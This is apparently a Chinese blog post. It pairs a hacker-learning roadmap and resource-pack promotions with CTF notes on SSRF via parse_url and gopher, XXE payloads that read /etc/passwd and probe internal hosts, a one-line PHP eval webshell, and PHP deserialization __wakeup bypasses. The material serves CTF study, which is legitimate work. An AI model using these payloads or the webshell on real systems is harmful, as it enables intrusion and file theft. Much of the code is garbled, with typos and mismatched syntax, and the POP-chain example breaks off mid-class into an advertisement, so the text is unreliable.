如何自学黑客&网络安全
黑客零基础入门学习路线&规划
初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
一些笔者自己买的、其他平台白嫖不到的视频教程。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
parse_url()函数函数")
parse_url()函数:把URL按协议,POST头(www.baidu.com),路径,查询目标等进行解析——只需要校验host头即可
使用XXX@www.baidu.com绕过,就会有一个新的传参user,其值为XXX
换成file协议parse_url()函数也可以解析
<?php
//I stored flag.txt at baidu.com
show_source(__FILE__);
if(isset($_GET['url']));
$url=parse_url($_GET['URL']);
if(!url){
die('can not parse url:'.$_GET['url']);
}
if(substr($_GET['url'],strlen('http://').strlen(baidu.com))==='baidu.com'){
die('hi,papi,you must pass this!']);
}
if($url['host']==='baidu,com'){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$GET['url']);
curl_exec($ch);
curl_close($ch);
}else{
die('save it,hacker');
}
}
白盒审计,碰到如下代码,可以做任意文件读取,也可以访问账号密码
<?php echo file_get_contents($GET_[W]);
GET传参和POST传参的对象可能会存在不同
一般情况下,传参都是传给当前网页,但如果当前网页是重定向的话,重定向的URL本身就是原URL的传参,如果想要文件的读取权限,只能GET传参跟在URL的后面,不能使用POST传参,POST传参是传给原来的URL
如果非要POST传参,可以使用gopher协议
gopher协议:用于信息查找,可以传递信息给内网,但传递的信息要进行URL编码——空格(%20),换行(%0D),冒号,//,都需要编码
可以直接通过?url=gopher://抓包后的访问目标网站数据包的URL编码(传参类型参考原来需要的参数)
在gopher协议下要注意content_length——它的长度要传参内容的长度保持一致
eg:gopher://目标ip:80_POST%20/security/flag.php……
python脚本化gopher协议
自动对目标网站传参然后url编码返回,使用的时候在cmd启动python 3.7.2,然后转到脚本所在的目录下(最好放在桌面上,比较好找一些),直接输入脚本名称启动脚本等待返回值即可
实际可以在浏览器传参,burp抓包,然后去掉不重要的内容,合为一行,进行url编码,前面加gopher://196.164.32.4_ 即可
import urllib
import requests
test =\
"""POST /security/flag.php HTTP/1,1
Host:192.164.32.4
Content-Type:application/x-www-form-urlencoded
w=flag.php
"""
tmp=urllib.parse.quote(test) //url编码
new=tmp.replace('0A','%0D%0A') //换行替换
result='gopher://192.164.32.4_'+new //使用的时候换IP即可
print(result)
先查SSRF存在与否,然后file协议,消除cookie,注册一个,然后load url,sql注入,反序列化得到flag所在的路径[网鼎杯 2018]Fakebook(思路详细有说明)_lazy1310的博客-优快云博客_lazy1310的博客-优快云博客")
ctf-wscan 为ctf而生的web扫描器_ctf-wscan.py/-优快云博客
清除cookie可以退出当前的登录状态
XXE漏洞
XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素**(冷门漏洞,但高危)**
当使用XML进行信息传输的时候,可能就会发生XXE漏洞攻击WEB漏洞 XXE原理&实践 - FreeBuf网络安全行业门户
xxe漏洞支持file、http、php://filter 等协议,file协议支持任意文件读取(但是需要注意的是,XML文本中如果它的标签是定死的,就必须按这个给出的标签来,也就是说要根据源码指定最后输出的文件名确定标签里面是什么内容,如果读取失败的话,也有可能是没有加根标签)
从XXE到RCE的完美利用:利用不安全的 XML 和 ZIP 文件解析器创建 WebShell
expect组件初次使用需要安装,Linux系统 PHP安装expect扩展详解_expect命令安装-优快云博客
expect协议不支持在,命令中有空格,如果有的话要使用$IFS代替——很少有服务器既存在xxe漏洞,又安装了expect扩展——因为这个扩展默认是不安装的
<?php eval ($_POST[w]);?>
超级详细的 FinalShell 安装 及使用教程_-优快云博客(网站服务器+xshell)
题目一
启动第一个靶机,常规遇到登录框,先用弱口令试一下
不行再抓包看一下, 显然和之前的数据包是不一样的,多了些XML标签
构造payload如下:(一般来说这个很冷门)
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "filter:///etc/passwd">
]>
<user><username>&xxe;</username><password>1</password></user>
#调用xxe实体,执行后面的命令————读取/etc/passwd文件
xxe还可以进行内网信息收集,如探索存活主机、查看路由等
本题的flag就在根目录下面,查看的时候,使用xxe实体,里面定义读取文件:filter:///flag文件即可得到flag
题目二
第二个界面和上一个一样,抓包放到repeater里面,file读passwd文件可以,但是没什么信息
加xml代码模板,读取当前页面,然后base64解码
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>&admin;</username><password>1234</password></user>
md5解码如下,但是登不进去admin
然后读内网IP,也没什么用
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "file:///etc/hosts">
]>
<user><username>&admin;</username><password>1234</password></user>
读apr文件,如下有个IP地址
然后利用HTTP协议请求一下,可以看到无回显,说明该IP没有web服务
再次查询arp文件,发现又有另一个IP,试一下这个IP,可以看到还是没有回显
放到intruder里面爆破,选择12为爆破点爆破C段,查询存活主机,然后payloads选择numbers,从1~255,步长为1
理论上就能爆破出来哪个C段是对的,访问该ip 就能得到正确的flag
反序列化pop链条
析构方法__destruct()在类的对象销毁的时候自动解析或者执行在类的对象销毁的时候自动解析或者执行")
PHP中 __toString()方法详解-php教程-PHP中文网方法详解-php教程-PHP中文网")
类的一些魔术的方法
<?php
class CMDClass
{
public $cmd=""; //默认cmd为空,也就是不输入任何的数据
function __wakeup()
//魔术方法,在键入之后匹配内容有无ip,在windows系统上屏蔽输入ipconfig
//反序列化函数执行之后,如果有这个函数的话,就会优先执行这个方法里面的函数或者方法
{
if(strpos($this->cmd 'ip') !== flase)
$this->cmd="echo 非法输入";
}
function __destruct()
//析构方法,在类的对象销毁之后执行,也就是说这个方法是最后一个执行的
{
passthru($this->cmd,$result);
}
function __toString()
//魔术方法,在类中接收到的对象被当做字符串的时候执行下一句看返回什么
{
return "";
}
}
$a=unserialize($POST['xxx']); //反序列化函数
echo $a;
//post传参接收一个输入,然后首先执行wakeup方法,没有敏感字符之后再执行toString方法
//此时对象被当做一个字符串执行,执行后释放内存,此对象被销毁之后再执行destruct方法返回结果
__wakeup()魔术方法绕过(CVE-2016-7124)魔术方法绕过(CVE-2016-7124)")
wakeup函数是在反序列化函数之后查找,如果有这个方法,就会优先执行这个方法下面的内容,如果没有这个的话,大概率会出问题,报错或者什么的
绕过的话,首先要知道它的源码,把源码放到菜鸟工具
<?php
class CMDClass
{
public $cmd="ipconfig"; //输入敏感字符
}
$a=new CMDClass;
echo serialize($a); //得到序列化的结果
O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}
绕过的话,只需要把类的个数该得比它原本的个数大即可
然后浏览源码所在的页面,打开hackbar,下载url,然后post传参
a=O:8:"CMDClass":1000:{s:3:"cmd";s:8:"ipconfig";}
但是需要注意的是:此时的php的版本有要求——PHP5<5.6.25,PHP7<7.0.10
php的类中变量的三种声明
变量是类的数据成员,它们用于存储类中所需的数据。变量可以是私有的,只能在类定义中访问;也可以是公共的,可以被类的方法和外部代码访问
在PHP中,当声明类变量时,您可以指定变量的访问级别。PHP支持三种访问级别:
- public:可以被类的方法和外部代码访问
- protected:只能被类的方法和其子类访问
- private:只能在类定义中访问
把cmd的输入分别改为这三种类型的话,序列化之后的结果的变化:
1、变量为pubulic时序列化的运行结果
公开属性的只会显示类的属性
2、将变量改为private之后的运行结果
私有的会显示类名加属性
此时s之后的数字变为了13,可以看到他之后的所有的字符串就是13个,未显示的字符是%00,属于具有截断含义的不可见字符串,此时显示的字符其实是浏览器渲染的结果
直接复制过去,然后把类的个数改大一点就可以直接绕过了
但是此时浏览器渲染的%00可以直接手动换为具体的字符串,或者在菜鸟工具里面把最后一行加个urlencode()函数编码,直接编码为url,避免在序列化内容过多的时候手动该%00过于麻烦,但是此时就需要在一堆编码里面准确的找到类的个数是哪个,一般来说类的个数处于两个冒号之间,冒号的url编码是%3A,所以找到偏前面一点的,在两个%3A之间的数字改大一点就可以了
具体结果如下所示:
3、将变量改为protected之后的序列化结果
此时它也有%00,但是此时也是只有类的属性名字,没有具体的类名,也可以使用你lencode函数来编码之后再更改类的个数
BUUCTF [web专项16][极客大挑战 2019]PHP_buuctfmore fast-优快云博客
首先进入靶场之后,此页面下面可以先访问一下主页index.php
然后扫目录看一下,就会扫出来www.zip,浏览此页面,就会自动下载目标页面的源码包,然后打开此源码包,会发现有很多前端代码,但主要在于php文件里面(里面会有一个假flag)
主要就是class.php文件的审计代码,得到用户名必须为admin, 密码必须为100才会打印flag,但是类里面的wakeup方法不能执行,执行之后就会置为guest
index页面包含class页面,里面友谊个GET春蚕的反序列化点,所以可以使用序列化绕过wawkeup方法,然后打印flag
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
//之前类里面的所有的方法都删掉,其余的东西不变
//然后在后面再构造一个新的类,这个类使用的就是最新的可以通过的账号密码
$a = new Name('admin',100);
$b = serialize($a);
echo $b;
由于账号密码是私有变量,但是在网页查看源代码的时候会发现有序列化的结果,使用编码函数urlencode()带出序列化的结果之后,把两个%3A之间的数字改为比原来大的数字之后,就会自动打印flag了
pop链条
PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改_魔术方法与反序列化pop链
一般来说,在类的方法里面不会出现系统执行命令执行一些不确定的参数或者输入
触发flag或者rce的方法都是在魔术方法里面
pop链就是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击的目的
php中魔术方法详解_php魔术方法的讲解与使用-优快云博客
php有哪些魔术方法_php魔术方法有哪些-PHP问题-PHP中文网
<?php #pop链
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
***93道网络安全面试题***



内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。

##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:

#### 2️⃣视频配套工具&国内外网安书籍、文档
##### ① 工具

##### ② 视频

##### ③ 书籍

资源较为敏感,未展示全面,需要的最下面获取

##### ② 简历模板

**因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.youkuaiyun.com/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**